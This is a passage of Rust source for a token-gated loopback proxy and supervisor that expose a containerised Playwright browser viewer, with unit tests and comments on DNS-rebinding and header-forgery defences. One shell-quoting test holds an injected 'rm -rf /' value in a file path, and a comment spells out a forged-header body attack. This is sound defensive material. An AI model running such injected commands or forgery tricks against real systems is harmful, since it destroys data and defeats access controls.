let meta = SessionMeta {
|
||||
url: build_url(proxy.port, &entry_path, &token),
|
||||
host_port: proxy.port,
|
||||
container_port,
|
||||
started_at: chrono::Utc::now().to_rfc3339(),
|
||||
detection,
|
||||
};
|
||||
|
||||
let epoch = self.next_epoch.fetch_add(1, Ordering::Relaxed);
|
||||
let (cancel_tx, cancel_rx) = watch::channel(false);
|
||||
let supervisor = tokio::spawn(supervise(
|
||||
project_id.clone(),
|
||||
container_id.clone(),
|
||||
cli_entry,
|
||||
container_port,
|
||||
epoch,
|
||||
app.clone(),
|
||||
store,
|
||||
self.sessions.clone(),
|
||||
cancel_rx,
|
||||
proxy,
|
||||
));
|
||||
|
||||
log::info!(
|
||||
"Browser view: project {} → 127.0.0.1:{} → container 127.0.0.1:{}",
|
||||
project_id,
|
||||
meta.host_port,
|
||||
container_port
|
||||
);
|
||||
|
||||
self.sessions.lock().await.insert(
|
||||
project_id.clone(),
|
||||
Session {
|
||||
epoch,
|
||||
cancel: cancel_tx,
|
||||
meta,
|
||||
supervisor,
|
||||
},
|
||||
);
|
||||
|
||||
let status = self.status(&project_id).await;
|
||||
emit(&app, &project_id, &status);
|
||||
Ok(status)
|
||||
}
|
||||
|
||||
/// Stop one project's view and wait until its host port has been released.
|
||||
pub async fn stop(&self, project_id: &str) {
|
||||
self.set_enabled(project_id, false).await;
|
||||
// Remove under the lock, then release it before awaiting: the
|
||||
// supervisor takes the same lock to deregister itself on exit.
|
||||
let session = self.sessions.lock().await.remove(project_id);
|
||||
if let Some(session) = session {
|
||||
let _ = session.cancel.send(true);
|
||||
let _ = session.supervisor.await;
|
||||
log::info!("Browser view: stopped for project {}", project_id);
|
||||
}
|
||||
}
|
||||
|
||||
/// Stop every view. Used on app exit.
|
||||
pub async fn stop_all(&self) {
|
||||
let sessions: Vec<(String, Session)> = self.sessions.lock().await.drain().collect();
|
||||
for (project_id, session) in sessions {
|
||||
let _ = session.cancel.send(true);
|
||||
let _ = session.supervisor.await;
|
||||
log::info!("Browser view: stopped for project {}", project_id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Supervisor
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Owns the proxy and the viewer process for one session and is the only thing
|
||||
/// that tears them down, so a session can't half-die.
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
async fn supervise(
|
||||
project_id: String,
|
||||
container_id: String,
|
||||
cli_entry: String,
|
||||
container_port: u16,
|
||||
epoch: u64,
|
||||
app: AppHandle,
|
||||
store: Arc<ProjectsStore>,
|
||||
sessions: SessionMap,
|
||||
mut cancel: watch::Receiver<bool>,
|
||||
mut proxy: BrowserViewProxy,
|
||||
) {
|
||||
let mut ticks: u32 = 0;
|
||||
loop {
|
||||
if store.get(&project_id).is_none() {
|
||||
log::info!("Browser view: project {} is gone — tearing down", project_id);
|
||||
break;
|
||||
}
|
||||
if !is_container_running(&container_id).await.unwrap_or(false) {
|
||||
log::info!(
|
||||
"Browser view: container for project {} is no longer running — tearing down",
|
||||
project_id
|
||||
);
|
||||
break;
|
||||
}
|
||||
// The dashboard is a detached daemon, so there is no process handle to
|
||||
// watch: liveness has to be an actual request. That costs an exec, so
|
||||
// it runs at a coarser cadence than the two cheap checks above.
|
||||
ticks = ticks.wrapping_add(1);
|
||||
if ticks % LIVENESS_EVERY == 0 {
|
||||
// Cancellation races the probe, not just the sleep, so stopping the
|
||||
// view never waits out an in-flight exec.
|
||||
let alive = tokio::select! {
|
||||
_ = cancel.changed() => break,
|
||||
res = probe_entry_path(&container_id, container_port) => res.is_ok(),
|
||||
};
|
||||
if !alive {
|
||||
log::warn!(
|
||||
"Browser view: the viewer for project {} stopped answering — tearing down",
|
||||
project_id
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
tokio::select! {
|
||||
_ = cancel.changed() => break,
|
||||
_ = tokio::time::sleep(SUPERVISE_INTERVAL) => {}
|
||||
}
|
||||
}
|
||||
|
||||
proxy.shutdown().await;
|
||||
let _ = kill_dashboard(&container_id, &cli_entry).await;
|
||||
|
||||
// Deregister, unless a newer session has already taken this project's slot.
|
||||
{
|
||||
let mut map = sessions.lock().await;
|
||||
if map.get(&project_id).is_some_and(|s| s.epoch == epoch) {
|
||||
map.remove(&project_id);
|
||||
}
|
||||
}
|
||||
|
||||
let enabled = manager().is_enabled(&project_id).await;
|
||||
emit(&app, &project_id, &BrowserViewStatus::off(enabled));
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// The viewer process
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// Where the detached viewer's own output goes, so a failed start still has
|
||||
/// something to show the user.
|
||||
const VIEWER_LOG: &str = "/tmp/triple-c-browser-view.log";
|
||||
|
||||
/// Start `playwright-cli show`, detached.
|
||||
///
|
||||
/// `playwright-cli show` is a *launcher*: verified that it spawns
|
||||
/// `playwright-core/lib/entry/dashboardApp.js`, which reparents to PID 1 and
|
||||
/// outlives both the launcher and the exec that started it. So there is no
|
||||
/// point tying a process lifetime to the exec's stdin — signalling the launcher
|
||||
/// leaves the dashboard bound to its port and still serving. Teardown is
|
||||
/// [`kill_dashboard`], which is the only thing verified to actually stop it.
|
||||
///
|
||||
/// Consequently this is a fire-and-forget exec: the launcher's output is
|
||||
/// redirected to [`VIEWER_LOG`] (both so `exec_oneshot` can return immediately
|
||||
/// rather than waiting on an inherited stdout, and so a failure has a trail),
|
||||
/// and readiness is established by [`wait_until_ready`] instead.
|
||||
async fn launch_viewer(container_id: &str, cli_entry: &str, port: u16) -> Result<(), String> {
|
||||
// `NO_UPDATE_NOTIFIER` stops the CLI phoning registry.npmjs.org on every
|
||||
// launch; the container may have no egress, and we don't want to wait out a
|
||||
// DNS timeout before the dashboard binds.
|
||||
let script = format!(
|
||||
"{}; NO_UPDATE_NOTIFIER=1 nohup node {} show --host 127.0.0.1 --port {} >{} 2>&1 &",
|
||||
WORKDIR_PREFIX,
|
||||
shell_quote(cli_entry),
|
||||
port,
|
||||
VIEWER_LOG
|
||||
);
|
||||
exec_oneshot(
|
||||
container_id,
|
||||
vec!["sh".to_string(), "-c".to_string(), script],
|
||||
)
|
||||
.await
|
||||
.map(|_| ())
|
||||
.map_err(|e| format!("Could not start the Playwright viewer: {}", e))
|
||||
}
|
||||
|
||||
/// The dashboard singleton is keyed on a hash of the working directory, so
|
||||
/// `show` and `show --kill` must agree on one. `exec_oneshot` doesn't set a
|
||||
/// working directory (it inherits the image's), and `/workspace` is both what
|
||||
/// the image sets today and where Claude actually runs — but pinning it here
|
||||
/// means a change to the image can't silently split the two into different
|
||||
/// singletons, leaving a dashboard nothing can kill.
|
||||
const WORKDIR_PREFIX: &str = "cd /workspace 2>/dev/null || true";
|
||||
|
||||
/// Stop the dashboard daemon. Verified to free the port and stop answering.
|
||||
async fn kill_dashboard(container_id: &str, cli_entry: &str) -> Result<String, String> {
|
||||
let script = format!(
|
||||
"{}; NO_UPDATE_NOTIFIER=1 node {} show --kill",
|
||||
WORKDIR_PREFIX,
|
||||
shell_quote(cli_entry)
|
||||
);
|
||||
exec_oneshot(
|
||||
container_id,
|
||||
vec!["sh".to_string(), "-c".to_string(), script],
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Turn a failed start into something the user can act on.
|
||||
///
|
||||
/// The one failure worth naming is the singleton clash: if a dashboard we
|
||||
/// couldn't reclaim is still alive, the launcher exits 0 having printed
|
||||
/// "Dashboard is running pid=…" and having silently ignored the port we asked
|
||||
/// for, so all the caller sees is a port that never answers.
|
||||
fn explain_start_failure(err: &str, log: &str) -> String {
|
||||
let log = log.trim();
|
||||
if log.contains("Dashboard is running") {
|
||||
return format!(
|
||||
"Another Playwright dashboard is already running in this container and would not \
|
||||
give up its port. Stop it from a terminal in the container with \
|
||||
`npx playwright-cli show --kill`, then try again.\n\nViewer output:\n{}",
|
||||
log
|
||||
);
|
||||
}
|
||||
if log.is_empty() {
|
||||
err.to_string()
|
||||
} else {
|
||||
format!("{}\n\nViewer output:\n{}", err, log)
|
||||
}
|
||||
}
|
||||
|
||||
/// Tail of the viewer's own output, for a start that didn't come up.
|
||||
async fn read_viewer_log(container_id: &str) -> String {
|
||||
exec_oneshot(
|
||||
container_id,
|
||||
vec!["tail".to_string(), "-n".to_string(), "40".to_string(), VIEWER_LOG.to_string()],
|
||||
)
|
||||
.await
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// Readiness, ports, URLs
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
/// First port in [`VIEWER_PORTS`] that nothing in the container is listening on.
|
||||
async fn pick_viewer_port(container_id: &str) -> Result<u16, String> {
|
||||
let text = exec_oneshot(
|
||||
container_id,
|
||||
vec![
|
||||
"cat".to_string(),
|
||||
"/proc/net/tcp".to_string(),
|
||||
"/proc/net/tcp6".to_string(),
|
||||
],
|
||||
)
|
||||
.await
|
||||
.unwrap_or_default();
|
||||
let taken = proc_net::parse_loopback_listeners(&text);
|
||||
VIEWER_PORTS
|
||||
.clone()
|
||||
.find(|p| !taken.contains_key(p))
|
||||
.ok_or_else(|| {
|
||||
format!(
|
||||
"No free port in {}–{} inside the container for the Playwright viewer.",
|
||||
VIEWER_PORTS.start(),
|
||||
VIEWER_PORTS.end()
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
/// Poll the viewer until it answers, and return the path the pane should load.
|
||||
async fn wait_until_ready(container_id: &str, port: u16) -> Result<String, String> {
|
||||
let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
|
||||
loop {
|
||||
let last = match probe_entry_path(container_id, port).await {
|
||||
Ok(path) => return Ok(path),
|
||||
Err(e) => e,
|
||||
};
|
||||
if tokio::time::Instant::now() >= deadline {
|
||||
return Err(format!(
|
||||
"The Playwright viewer did not start listening on container port {} within {}s ({}).",
|
||||
port,
|
||||
READY_TIMEOUT.as_secs(),
|
||||
last
|
||||
));
|
||||
}
|
||||
tokio::time::sleep(READY_POLL).await;
|
||||
}
|
||||
}
|
||||
|
||||
const PROBE_MARKER: &str = "__TRIPLE_C_BV_PATH__";
|
||||
|
||||
/// Ask the viewer, from inside the container, what it wants to be loaded as.
|
||||
///
|
||||
/// `GET /` answers `302 Location: /index.html?ws=<guid>`, where the guid is the
|
||||
/// dashboard's own per-run capability for its WebSocket. Resolving that here and
|
||||
/// pointing the iframe straight at the final URL means the pane never traverses
|
||||
/// a redirect — which matters, because a redirect drops the `?token=` the proxy
|
||||
/// gate wants and would leave a fresh connection to be authorised with nothing.
|
||||
/// A `200` (no redirect) is fine too; then the entry point is just `/`.
|
||||
async fn probe_entry_path(container_id: &str, port: u16) -> Result<String, String> {
|
||||
// The request is bounded on both sides. Verified: the dashboard answers a
|
||||
// bad WebSocket path by holding the socket open forever rather than
|
||||
// erroring, so "no reply" is a state this probe has to be able to leave —
|
||||
// otherwise a wedged daemon would wedge the supervisor, and `stop()` waits
|
||||
// on the supervisor.
|
||||
let script = format!(
|
||||
r#"const q=require("http").get({{host:"127.0.0.1",port:{},path:"/",headers:{{host:"127.0.0.1:{}"}}}},r=>{{process.stdout.write("\n{}"+r.statusCode+" "+(r.headers.location||"/")+"\n");r.resume();process.exit(0);}});q.on("error",e=>{{process.stderr.write(String(e.message));process.exit(1);}});q.setTimeout({},()=>{{process.stderr.write("timed out waiting for the viewer");q.destroy();process.exit(1);}});"#,
|
||||
port,
|
||||
port,
|
||||
PROBE_MARKER,
|
||||
PROBE_TIMEOUT.as_millis()
|
||||
);
|
||||
let out = tokio::time::timeout(
|
||||
PROBE_TIMEOUT * 2,
|
||||
exec_oneshot(
|
||||
container_id,
|
||||
vec!["node".to_string(), "-e".to_string(), script],
|
||||
),
|
||||
)
|
||||
.await
|
||||
.map_err(|_| "the viewer probe did not return".to_string())??;
|
||||
parse_entry_probe(&out)
|
||||
}
|
||||
|
||||
/// Turn the readiness probe's output into the path to load.
|
||||
fn parse_entry_probe(out: &str) -> Result<String, String> {
|
||||
let Some(idx) = out.find(PROBE_MARKER) else {
|
||||
let trimmed = out.trim();
|
||||
return Err(if trimmed.is_empty() {
|
||||
"no response".to_string()
|
||||
} else {
|
||||
trimmed.lines().next_back().unwrap_or(trimmed).to_string()
|
||||
});
|
||||
};
|
||||
let line = out[idx + PROBE_MARKER.len()..]
|
||||
.lines()
|
||||
.next()
|
||||
.unwrap_or("")
|
||||
.trim();
|
||||
let (status, location) = line.split_once(' ').unwrap_or((line, "/"));
|
||||
match status {
|
||||
"301" | "302" | "303" | "307" | "308" => {
|
||||
// Only same-origin, absolute paths — the dashboard never sends
|
||||
// anything else, and following an off-host redirect through the
|
||||
// pane would be a nasty surprise.
|
||||
if location.starts_with('/') {
|
||||
Ok(location.to_string())
|
||||
} else {
|
||||
Ok("/".to_string())
|
||||
}
|
||||
}
|
||||
"200" => Ok("/".to_string()),
|
||||
other => Err(format!("viewer answered HTTP {}", other)),
|
||||
}
|
||||
}
|
||||
|
||||
/// The pane's iframe URL: the viewer's own entry path with our session token
|
||||
/// appended, on the host loopback port the gate is listening on.
|
||||
fn build_url(host_port: u16, entry_path: &str, token: &str) -> String {
|
||||
let sep = if entry_path.contains('?') { '&' } else { '?' };
|
||||
format!(
|
||||
"http://127.0.0.1:{}{}{}token={}",
|
||||
host_port, entry_path, sep, token
|
||||
)
|
||||
}
|
||||
|
||||
/// Single-quote a path for `sh -c`. Paths from `require.resolve` never contain
|
||||
/// quotes in practice, but this is a shell command line and the cost of being
|
||||
/// sure is one line.
|
||||
fn shell_quote(s: &str) -> String {
|
||||
format!("'{}'", s.replace('\'', r"'\''"))
|
||||
}
|
||||
|
||||
/// 256 bits of URL-safe randomness, matching `web_terminal`'s token shape.
|
||||
fn generate_token() -> String {
|
||||
use base64::Engine;
|
||||
use rand::Rng;
|
||||
let mut rng = rand::rng();
|
||||
let bytes: Vec<u8> = (0..32).map(|_| rng.random::<u8>()).collect();
|
||||
base64::engine::general_purpose::URL_SAFE_NO_PAD.encode(&bytes)
|
||||
}
|
||||
|
||||
fn emit(app: &AppHandle, project_id: &str, status: &BrowserViewStatus) {
|
||||
let _ = app.emit(
|
||||
BROWSER_VIEW_EVENT,
|
||||
serde_json::json!({ "project_id": project_id, "status": status }),
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn a_redirect_becomes_the_entry_path() {
|
||||
let out = format!("\n{}302 /index.html?ws=abc123\n", PROBE_MARKER);
|
||||
assert_eq!(parse_entry_probe(&out).unwrap(), "/index.html?ws=abc123");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_plain_200_entry_point_is_the_root() {
|
||||
let out = format!("\n{}200 /\n", PROBE_MARKER);
|
||||
assert_eq!(parse_entry_probe(&out).unwrap(), "/");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_off_host_redirect_is_not_followed() {
|
||||
let out = format!("\n{}302 https://evil.example/\n", PROBE_MARKER);
|
||||
assert_eq!(parse_entry_probe(&out).unwrap(), "/");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_refused_connection_is_an_error_the_poller_can_retry() {
|
||||
// Verified shape: node writes this to stderr with no trailing newline.
|
||||
let err = parse_entry_probe("connect ECONNREFUSED 127.0.0.1:39321").unwrap_err();
|
||||
assert!(err.contains("ECONNREFUSED"), "{}", err);
|
||||
assert_eq!(parse_entry_probe("").unwrap_err(), "no response");
|
||||
assert!(parse_entry_probe("timed out waiting for the viewer")
|
||||
.unwrap_err()
|
||||
.contains("timed out"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unexpected_status_is_surfaced_rather_than_loaded() {
|
||||
let out = format!("\n{}500 /\n", PROBE_MARKER);
|
||||
assert!(parse_entry_probe(&out).unwrap_err().contains("500"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_pane_url_is_loopback_and_carries_the_token() {
|
||||
let url = build_url(47820, "/index.html?ws=abc", "TOKEN");
|
||||
assert_eq!(url, "http://127.0.0.1:47820/index.html?ws=abc&token=TOKEN");
|
||||
assert!(url.starts_with("http://127.0.0.1:"));
|
||||
|
||||
// A viewer that doesn't redirect gets a `?`, not a stray `&`.
|
||||
assert_eq!(
|
||||
build_url(47821, "/", "T"),
|
||||
"http://127.0.0.1:47821/?token=T"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tokens_are_unique_and_url_safe() {
|
||||
let a = generate_token();
|
||||
let b = generate_token();
|
||||
assert_ne!(a, b);
|
||||
assert_eq!(a.len(), 43); // 32 bytes, base64url, unpadded
|
||||
assert!(a.chars().all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_'));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn shell_quoting_survives_a_hostile_path() {
|
||||
assert_eq!(shell_quote("/a/b/cli.js"), "'/a/b/cli.js'");
|
||||
assert_eq!(
|
||||
shell_quote("/a/'; rm -rf /; '"),
|
||||
r#"'/a/'\''; rm -rf /; '\'''"#
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_singleton_clash_is_named_rather_than_left_as_a_dead_port() {
|
||||
let msg = explain_start_failure(
|
||||
"did not start listening on container port 39321 within 30s",
|
||||
"Dashboard is running pid=1823\n",
|
||||
);
|
||||
assert!(msg.contains("show --kill"), "{}", msg);
|
||||
assert!(msg.contains("pid=1823"), "{}", msg);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_ordinary_start_failure_keeps_the_error_and_any_log() {
|
||||
assert_eq!(explain_start_failure("boom", " "), "boom");
|
||||
let msg = explain_start_failure("boom", "EADDRINUSE 39321");
|
||||
assert!(msg.starts_with("boom"), "{}", msg);
|
||||
assert!(msg.contains("EADDRINUSE 39321"), "{}", msg);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_viewer_port_range_is_bounded() {
|
||||
assert_eq!(VIEWER_PORTS.clone().count(), 8);
|
||||
// The auth bridge refuses to mirror exactly this range; if they ever
|
||||
// drifted apart the pane would gain an ungated second front door.
|
||||
assert_eq!(VIEWER_PORTS, crate::auth_bridge::RESERVED_CONTAINER_PORTS);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_off_status_says_nothing_is_running() {
|
||||
let s = BrowserViewStatus::off(true);
|
||||
assert!(s.enabled);
|
||||
assert_eq!(s.state, BrowserViewState::Off);
|
||||
assert!(s.url.is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_unavailable_status_keeps_the_detail_the_user_needs() {
|
||||
let mut d = PlaywrightDetection::default();
|
||||
d.node_version = Some("22.11.0".to_string());
|
||||
let s = BrowserViewStatus::unavailable(true, d, "install it".to_string());
|
||||
assert_eq!(s.state, BrowserViewState::Unavailable);
|
||||
assert_eq!(s.message.as_deref(), Some("install it"));
|
||||
assert!(s.detection.is_some());
|
||||
assert!(s.url.is_none());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,793 @@
|
||||
//! The host-side, token-gated front door for one project's Playwright viewer.
|
||||
//!
|
||||
//! ## Why this is not `PortForward` on its own
|
||||
//!
|
||||
//! [`crate::auth_bridge::tunnel::PortForward`] mirrors a container loopback port
|
||||
//! onto the *same* host loopback port with **no authentication at all**. That is
|
||||
//! the right trade for the auth bridge — the things it exposes are short-lived
|
||||
//! OAuth callback listeners whose whole purpose is to receive one unauthenticated
|
||||
//! request — but it is the wrong trade here. The Playwright viewer is full mouse
|
||||
//! and keyboard control of a browser running inside a container that has
|
||||
//! passwordless sudo and, very often, the host's Docker socket bind-mounted. A
|
||||
//! bare loopback port is reachable by:
|
||||
//!
|
||||
//! * any other local user on a multi-user host, and
|
||||
//! * **any web page the user happens to have open**, via localhost port scanning
|
||||
//! or DNS rebinding.
|
||||
//!
|
||||
//! So this module keeps the tunnel half of the auth bridge (a per-connection
|
||||
//! `socat` exec through the Docker API — see
|
||||
//! [`crate::auth_bridge::tunnel::tunnel_connection_with_prelude`]) and replaces
|
||||
//! the listener half with one that authenticates before a single byte reaches
|
||||
//! the container. There is therefore exactly **one** host-bound socket per
|
||||
//! session, and it is gated.
|
||||
//!
|
||||
//! ## The gate
|
||||
//!
|
||||
//! Gating happens on the first HTTP request head of every accepted TCP
|
||||
//! connection, before anything is forwarded. To get a connection through you
|
||||
//! must satisfy all of:
|
||||
//!
|
||||
//! 1. `Host` is `127.0.0.1:<port>` or `localhost:<port>` — this is the
|
||||
//! anti-DNS-rebinding check. A page on `evil.com` that rebinds its name to
|
||||
//! 127.0.0.1 still sends `Host: evil.com`.
|
||||
//! 2. Either
|
||||
//! * the request carries the session token (in `?token=`, in a `Cookie`, or
|
||||
//! in the query of a same-origin `Referer`), **or**
|
||||
//! * `Origin` / `Referer` is exactly this proxy's own origin — i.e. the
|
||||
//! request was issued by a document that we already served, which itself
|
||||
//! had to present the token. This is what lets the viewer's own
|
||||
//! sub-resource and WebSocket requests through: a browser will not let a
|
||||
//! hostile page forge either header, and requests that carry neither (a
|
||||
//! cross-site `<script src>` or a top-level navigation) are rejected.
|
||||
//!
|
||||
//! Once the first head passes, the rest of the connection is spliced verbatim,
|
||||
//! so HTTP/1.1 keep-alive, the WebSocket upgrade and the CDP screencast frames
|
||||
//! all pass through untouched and protocol-agnostically. Riding an existing
|
||||
//! connection is not an escalation: opening one required the token.
|
||||
//!
|
||||
//! ## Port allocation and the CSP
|
||||
//!
|
||||
//! Host ports come from the small fixed range [`PROXY_PORTS`]. That is
|
||||
//! deliberate: `tauri.conf.json`'s `frame-src` has to name every origin the pane
|
||||
//! may embed, and CSP has no port wildcards short of `http://127.0.0.1:*`.
|
||||
//! Allocating from a bounded, known range keeps that directive an exact
|
||||
//! enumeration instead of "any localhost port".
|
||||
|
||||
use std::net::{Ipv4Addr, SocketAddr};
|
||||
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::{TcpListener, TcpStream};
|
||||
use tokio::task::{JoinHandle, JoinSet};
|
||||
|
||||
use crate::auth_bridge::proc_net::PortFamily;
|
||||
use crate::auth_bridge::tunnel::tunnel_connection_with_prelude;
|
||||
|
||||
/// Host loopback ports the pane may be served on, and therefore the exact set of
|
||||
/// origins enumerated in the app's `frame-src`. Keep the two in sync: adding a
|
||||
/// port here without adding it to `tauri.conf.json` produces a pane that is
|
||||
/// silently blocked by CSP.
|
||||
pub const PROXY_PORTS: std::ops::RangeInclusive<u16> = 47820..=47827;
|
||||
|
||||
/// Ceiling on the request head we will buffer before deciding. Real heads are
|
||||
/// well under 8 KiB; anything larger is either broken or hostile.
|
||||
const MAX_HEAD: usize = 32 * 1024;
|
||||
|
||||
/// How long a freshly accepted connection has to produce a complete request
|
||||
/// head. Prevents a slowloris from pinning accept-loop tasks.
|
||||
const HEAD_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(10);
|
||||
|
||||
const REFUSAL_BODY: &str = concat!(
|
||||
"<!doctype html><meta charset=\"utf-8\">",
|
||||
"<title>Not available</title>",
|
||||
"<p>This Triple-C browser view is only reachable from the app that started it.</p>"
|
||||
);
|
||||
|
||||
/// A bound, token-gated host listener in front of one container-side viewer.
|
||||
///
|
||||
/// The accept loop owns the [`TcpListener`] and the [`JoinSet`] of live
|
||||
/// connections, so aborting the one task handle releases the port *and* tears
|
||||
/// down everything under it. [`Drop`] does that as a backstop;
|
||||
/// [`BrowserViewProxy::shutdown`] does it deterministically by also awaiting the
|
||||
/// aborted task, so the port is provably free before the caller continues.
|
||||
pub struct BrowserViewProxy {
|
||||
pub port: u16,
|
||||
task: JoinHandle<()>,
|
||||
}
|
||||
|
||||
impl Drop for BrowserViewProxy {
|
||||
fn drop(&mut self) {
|
||||
self.task.abort();
|
||||
}
|
||||
}
|
||||
|
||||
impl BrowserViewProxy {
|
||||
/// Take the first free port in [`PROXY_PORTS`] on the host loopback and
|
||||
/// start gating connections into `container_id`'s `container_port`.
|
||||
pub async fn bind(
|
||||
container_id: String,
|
||||
container_port: u16,
|
||||
family: PortFamily,
|
||||
token: String,
|
||||
) -> Result<Self, String> {
|
||||
let mut last_err = None;
|
||||
for port in PROXY_PORTS {
|
||||
// SECURITY BOUNDARY: 127.0.0.1 ONLY, never 0.0.0.0. Unlike
|
||||
// `web_terminal`, which binds a wildcard on purpose because remote
|
||||
// access *is* its feature, this pane is remote control of a browser
|
||||
// in a privileged container and must never leave the host. Do not
|
||||
// "fix" a connectivity problem by widening this address.
|
||||
match TcpListener::bind(SocketAddr::from((Ipv4Addr::LOCALHOST, port))).await {
|
||||
Ok(listener) => {
|
||||
let task = tokio::spawn(accept_loop(
|
||||
listener,
|
||||
container_id,
|
||||
family.socat_target(container_port),
|
||||
container_port,
|
||||
token,
|
||||
self_origins(port),
|
||||
host_authorities(port),
|
||||
));
|
||||
log::info!("Browser view: proxy listening on 127.0.0.1:{}", port);
|
||||
return Ok(Self { port, task });
|
||||
}
|
||||
Err(e) => last_err = Some(e),
|
||||
}
|
||||
}
|
||||
Err(format!(
|
||||
"No free host port in {}–{} for the browser view proxy ({}). \
|
||||
Close another project's browser view and try again.",
|
||||
PROXY_PORTS.start(),
|
||||
PROXY_PORTS.end(),
|
||||
last_err
|
||||
.map(|e| e.to_string())
|
||||
.unwrap_or_else(|| "range empty".to_string())
|
||||
))
|
||||
}
|
||||
|
||||
/// Stop accepting, release the host port and abort every live connection.
|
||||
pub async fn shutdown(&mut self) {
|
||||
self.task.abort();
|
||||
let _ = (&mut self.task).await;
|
||||
log::info!("Browser view: proxy on 127.0.0.1:{} released", self.port);
|
||||
}
|
||||
}
|
||||
|
||||
/// The origins a request may legitimately claim to come from.
|
||||
fn self_origins(port: u16) -> Vec<String> {
|
||||
vec![
|
||||
format!("http://127.0.0.1:{}", port),
|
||||
format!("http://localhost:{}", port),
|
||||
]
|
||||
}
|
||||
|
||||
/// The `Host` values we will answer to. Anything else is a rebinding attempt.
|
||||
fn host_authorities(port: u16) -> Vec<String> {
|
||||
vec![
|
||||
format!("127.0.0.1:{}", port),
|
||||
format!("localhost:{}", port),
|
||||
]
|
||||
}
|
||||
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
async fn accept_loop(
|
||||
listener: TcpListener,
|
||||
container_id: String,
|
||||
target: String,
|
||||
container_port: u16,
|
||||
token: String,
|
||||
origins: Vec<String>,
|
||||
authorities: Vec<String>,
|
||||
) {
|
||||
let mut conns: JoinSet<()> = JoinSet::new();
|
||||
|
||||
loop {
|
||||
let accepted = tokio::select! {
|
||||
r = listener.accept() => r,
|
||||
// Reap finished connections so the set can't grow without bound.
|
||||
// An empty set yields `None`, the pattern fails, and the branch is
|
||||
// simply dropped from the select.
|
||||
Some(_) = conns.join_next() => continue,
|
||||
};
|
||||
|
||||
match accepted {
|
||||
Ok((stream, _peer)) => {
|
||||
let _ = stream.set_nodelay(true);
|
||||
conns.spawn(serve_connection(
|
||||
stream,
|
||||
container_id.clone(),
|
||||
target.clone(),
|
||||
container_port,
|
||||
token.clone(),
|
||||
origins.clone(),
|
||||
authorities.clone(),
|
||||
));
|
||||
}
|
||||
Err(e) => {
|
||||
log::warn!("Browser view: accept failed: {} — stopping proxy listener", e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(clippy::too_many_arguments)]
|
||||
async fn serve_connection(
|
||||
mut stream: TcpStream,
|
||||
container_id: String,
|
||||
target: String,
|
||||
container_port: u16,
|
||||
token: String,
|
||||
origins: Vec<String>,
|
||||
authorities: Vec<String>,
|
||||
) {
|
||||
let (head, head_len) = match tokio::time::timeout(HEAD_TIMEOUT, read_head(&mut stream)).await {
|
||||
Ok(Ok(head)) => head,
|
||||
Ok(Err(e)) => {
|
||||
log::debug!("Browser view: dropping connection: {}", e);
|
||||
let _ = reject(&mut stream, 400, "Bad Request").await;
|
||||
return;
|
||||
}
|
||||
Err(_) => {
|
||||
log::debug!("Browser view: dropping connection: no request head within timeout");
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Authorize against the head slice only — never the trailing body bytes.
|
||||
let head_text = String::from_utf8_lossy(&head[..head_len]).into_owned();
|
||||
let verdict = authorize(&head_text, &token, &origins, &authorities);
|
||||
if verdict != Verdict::Allow {
|
||||
log::warn!(
|
||||
"Browser view: rejected a connection on the proxy for container port {} ({:?})",
|
||||
container_port,
|
||||
verdict
|
||||
);
|
||||
let _ = reject(&mut stream, 403, "Forbidden").await;
|
||||
return;
|
||||
}
|
||||
|
||||
// Authorized: hand the socket to the same socat-over-Docker-exec tunnel the
|
||||
// auth bridge uses, replaying the head we had to buffer to make the call.
|
||||
tunnel_connection_with_prelude(container_id, target, stream, container_port, head).await;
|
||||
}
|
||||
|
||||
/// Read bytes until the end of the HTTP request head (`\r\n\r\n`), or fail.
|
||||
/// Returns the bytes read so far and the index one past the head terminator.
|
||||
///
|
||||
/// Both halves matter. The caller must replay the **whole** buffer into the
|
||||
/// tunnel — a client may pipeline body bytes into the same packet as the head —
|
||||
/// but it must authorize against the **head only**. Returning just the buffer
|
||||
/// is how a request body gets parsed as headers, which defeats the token gate
|
||||
/// and the anti-rebinding check outright: a cross-site `fetch` with a
|
||||
/// `text/plain` body of `a=x\r\nSec-Fetch-Site: same-origin\r\n` is not
|
||||
/// preflighted, and the forged line wins the last-occurrence match below.
|
||||
async fn read_head(stream: &mut TcpStream) -> Result<(Vec<u8>, usize), String> {
|
||||
let mut buf = Vec::with_capacity(1024);
|
||||
let mut chunk = [0u8; 1024];
|
||||
loop {
|
||||
let n = stream
|
||||
.read(&mut chunk)
|
||||
.await
|
||||
